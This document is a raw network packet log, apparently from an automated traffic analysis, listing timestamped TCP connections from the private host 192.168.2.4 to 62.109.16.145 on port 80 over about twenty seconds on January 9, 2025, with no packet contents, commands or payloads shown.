Jan 9, 2025 04:13:39.925389051 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:39.930176020 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.038997889 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.043922901 CET	80	50117	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.044135094 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.044282913 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.049400091 CET	80	50117	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.278702974 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.284507990 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.284959078 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.403623104 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.408467054 CET	80	50117	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.621658087 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.669220924 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.730886936 CET	80	50117	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.755670071 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.780128956 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.809823990 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.859637022 CET	80	50117	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.903562069 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.978827953 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.978997946 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.979142904 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.983762026 CET	80	50116	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.983833075 CET	50116	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.983882904 CET	80	50118	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.984014988 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.984090090 CET	80	50117	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:40.984122038 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.984148026 CET	50117	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:40.988907099 CET	80	50118	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.033358097 CET	80	50098	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.033416033 CET	50098	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.341156960 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.347385883 CET	80	50118	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.709714890 CET	80	50118	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.762953997 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.843336105 CET	80	50118	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.843591928 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.849615097 CET	80	50118	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.849662066 CET	50118	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.968873978 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.973798990 CET	80	50119	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:41.973866940 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.974113941 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:41.978864908 CET	80	50119	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:42.325570107 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.330670118 CET	80	50119	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:42.675797939 CET	80	50119	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:42.716093063 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.809690952 CET	80	50119	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:42.860143900 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.931708097 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.931708097 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.939713955 CET	80	50120	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:42.939835072 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.939852953 CET	80	50119	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:42.940107107 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.940141916 CET	50119	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:42.948020935 CET	80	50120	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:43.296113968 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.301084042 CET	80	50120	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:43.629247904 CET	80	50120	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:43.669205904 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.763576984 CET	80	50120	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:43.809890985 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.889712095 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.890005112 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.897463083 CET	80	50120	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:43.897528887 CET	50120	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.898261070 CET	80	50121	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:43.898334980 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.898474932 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:43.908225060 CET	80	50121	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:44.247440100 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.252337933 CET	80	50121	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:44.589366913 CET	80	50121	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:44.637969017 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.721170902 CET	80	50121	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:44.762957096 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.840787888 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.841453075 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.845859051 CET	80	50121	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:44.846237898 CET	50121	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.846349001 CET	80	50122	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:44.846530914 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.846530914 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:44.851416111 CET	80	50122	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.200556993 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.205508947 CET	80	50122	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.576112032 CET	80	50122	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.705544949 CET	80	50122	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.705611944 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.763777971 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.763782978 CET	50123	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.768762112 CET	80	50123	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.768775940 CET	80	50122	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.768834114 CET	50123	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.768899918 CET	50122	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.769002914 CET	50123	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.773781061 CET	80	50123	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.826621056 CET	50123	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.852889061 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.857777119 CET	80	50124	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.857836008 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.857942104 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:45.862687111 CET	80	50124	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:45.874862909 CET	80	50123	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.216180086 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.221045017 CET	80	50124	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.246804953 CET	80	50123	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.246850014 CET	50123	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.557121992 CET	80	50124	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.606726885 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.687388897 CET	80	50124	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.804908991 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.804938078 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.809787989 CET	80	50125	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.809910059 CET	80	50124	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:46.812186003 CET	50124	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.812192917 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.816157103 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:46.821007013 CET	80	50125	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:47.172126055 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:47.176970005 CET	80	50125	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:47.500705957 CET	80	50125	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:47.544219971 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:47.631369114 CET	80	50125	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:47.700483084 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:48.165509939 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:48.171530962 CET	80	50126	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:48.171607018 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:48.188178062 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:48.192990065 CET	80	50126	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:48.544404984 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:48.550046921 CET	80	50126	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:48.880511045 CET	80	50126	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:48.938338041 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.009042025 CET	80	50126	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:49.059931993 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.136003971 CET	50125	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.136405945 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.136682987 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.141568899 CET	80	50126	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:49.141581059 CET	80	50127	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:49.141674042 CET	50126	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.141674995 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.141875982 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.146676064 CET	80	50127	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:49.497452974 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:49.502307892 CET	80	50127	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:49.879704952 CET	80	50127	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.010282040 CET	80	50127	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.010339975 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.137937069 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.138401031 CET	50128	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.142976999 CET	80	50127	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.143038988 CET	50127	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.143217087 CET	80	50128	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.143270969 CET	50128	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.143441916 CET	50128	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.148252010 CET	80	50128	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.497848988 CET	50128	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.502656937 CET	80	50128	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.844892025 CET	80	50128	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.857465982 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.858129978 CET	50128	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.862332106 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.863177061 CET	80	50128	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:50.866221905 CET	50128	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.866223097 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.930265903 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:50.936212063 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.188570023 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:51.193423033 CET	80	50130	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.193675041 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:51.193675041 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:51.198457003 CET	80	50130	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.278847933 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:51.283711910 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.283781052 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.544487953 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:51.549314976 CET	80	50130	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.577234983 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.710444927 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.710536957 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:51.887742996 CET	80	50130	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:51.950496912 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.019443035 CET	80	50130	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.059864044 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.134630919 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.134761095 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.134917974 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.139658928 CET	80	50129	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.139672041 CET	80	50131	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.139709949 CET	50129	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.139751911 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.139864922 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.140042067 CET	80	50130	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.140089035 CET	50130	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.144642115 CET	80	50131	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.497489929 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.505619049 CET	80	50131	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.858462095 CET	80	50131	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.989516020 CET	80	50131	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:52.992223024 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:52.996133089 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.001806974 CET	80	50131	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:53.004240990 CET	50131	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.120989084 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.125811100 CET	80	50132	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:53.128277063 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.128524065 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.133305073 CET	80	50132	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:53.482209921 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.487085104 CET	80	50132	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:53.833497047 CET	80	50132	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:53.950498104 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:53.967467070 CET	80	50132	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.059865952 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.088411093 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.088644028 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.093430042 CET	80	50132	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.093445063 CET	80	50133	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.093476057 CET	50132	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.093508959 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.093719959 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.098498106 CET	80	50133	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.450651884 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:54.455447912 CET	80	50133	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.800591946 CET	80	50133	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.936729908 CET	80	50133	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:54.936908960 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.055286884 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.055584908 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.060328960 CET	80	50133	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:55.060446978 CET	80	50134	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:55.060538054 CET	50133	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.060539961 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.060705900 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.065466881 CET	80	50134	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:55.419668913 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.427390099 CET	80	50134	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:55.769793987 CET	80	50134	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:55.809879065 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:55.901357889 CET	80	50134	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.029618025 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.029863119 CET	50135	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.034626961 CET	80	50135	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.034686089 CET	50135	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.034821987 CET	50135	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.034980059 CET	80	50134	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.035022020 CET	50134	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.039555073 CET	80	50135	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.388107061 CET	50135	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.392931938 CET	80	50135	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.719017982 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.719749928 CET	50135	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.723927021 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.723988056 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.724499941 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.724744081 CET	80	50135	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.724797964 CET	50135	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.729342937 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.906234026 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.911128044 CET	80	50137	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:56.918276072 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.918276072 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:56.923324108 CET	80	50137	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.078258038 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.083204985 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.083268881 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.263200998 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.268052101 CET	80	50137	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.421251059 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.514421940 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.566047907 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.608086109 CET	80	50137	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.702220917 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.737624884 CET	80	50137	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.742213964 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.855240107 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.855257988 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.855633974 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.860282898 CET	80	50136	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.860330105 CET	50136	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.860388994 CET	80	50138	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.860450983 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.860553026 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.860676050 CET	80	50137	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:57.860732079 CET	50137	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:57.865294933 CET	80	50138	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:58.216227055 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.221184015 CET	80	50138	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:58.579705000 CET	80	50138	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:58.719321966 CET	80	50138	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:58.719388008 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.719583988 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.724598885 CET	80	50138	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:58.724678993 CET	50138	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.840243101 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.845086098 CET	80	50139	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:58.848289967 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.848289967 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:58.853115082 CET	80	50139	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:59.200598001 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.205420017 CET	80	50139	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:59.553816080 CET	80	50139	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:59.688688993 CET	80	50139	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:59.692356110 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.806468964 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.806471109 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.811279058 CET	80	50140	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:59.811366081 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.811460018 CET	80	50139	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:59.811501980 CET	50139	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.812156916 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:59.816991091 CET	80	50140	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:00.169397116 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.176268101 CET	80	50140	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:00.507992029 CET	80	50140	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:00.641496897 CET	80	50140	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:00.641539097 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.758409023 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.758735895 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.763412952 CET	80	50140	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:00.763467073 CET	50140	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.763501883 CET	80	50141	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:00.763556957 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.763659000 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:00.768393040 CET	80	50141	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:01.124170065 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.129012108 CET	80	50141	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:01.462322950 CET	80	50141	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:01.516165972 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.607140064 CET	80	50141	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:01.700526953 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.726774931 CET	50141	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.727061033 CET	50142	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:01.731740952 CET	80	50141	62.109.16.145	192.168.2.4
